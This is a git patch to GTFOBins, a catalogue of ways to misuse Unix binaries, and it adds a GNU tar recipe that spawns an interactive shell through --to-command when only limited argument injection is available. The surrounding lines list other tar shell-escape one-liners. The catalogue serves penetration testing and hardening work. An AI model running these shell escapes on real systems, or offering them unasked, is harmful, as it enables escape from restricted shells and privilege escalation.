From 0c8a06246bd743d5eeef72b65619566262f9c443 Mon Sep 17 00:00:00 2001
From: Andrea Cardaci <cyrus.and@gmail.com>
Date: Sun, 21 Oct 2018 12:04:33 +0200
Subject: [PATCH] Add --to-command interactive shell to tar

Close #27
---
 _gtfobins/tar.md | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/_gtfobins/tar.md b/_gtfobins/tar.md
index 31ee56a..de21930 100644
--- a/_gtfobins/tar.md
+++ b/_gtfobins/tar.md
@@ -4,6 +4,13 @@ functions:
     - code: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
     - description: This only works for GNU tar.
       code: tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'
+    - description: This only works for GNU tar. It can be useful when only a limited command argument injection is available.
+      code: |
+        TF=$(mktemp)
+        echo '/bin/sh 0<&1' > "$TF"
+        tar cf "$TF.tar" "$TF"
+        tar xf "$TF.tar" --to-command sh
+        rm "$TF"*
   file-write:
     - description: This only works for GNU tar.
       code: |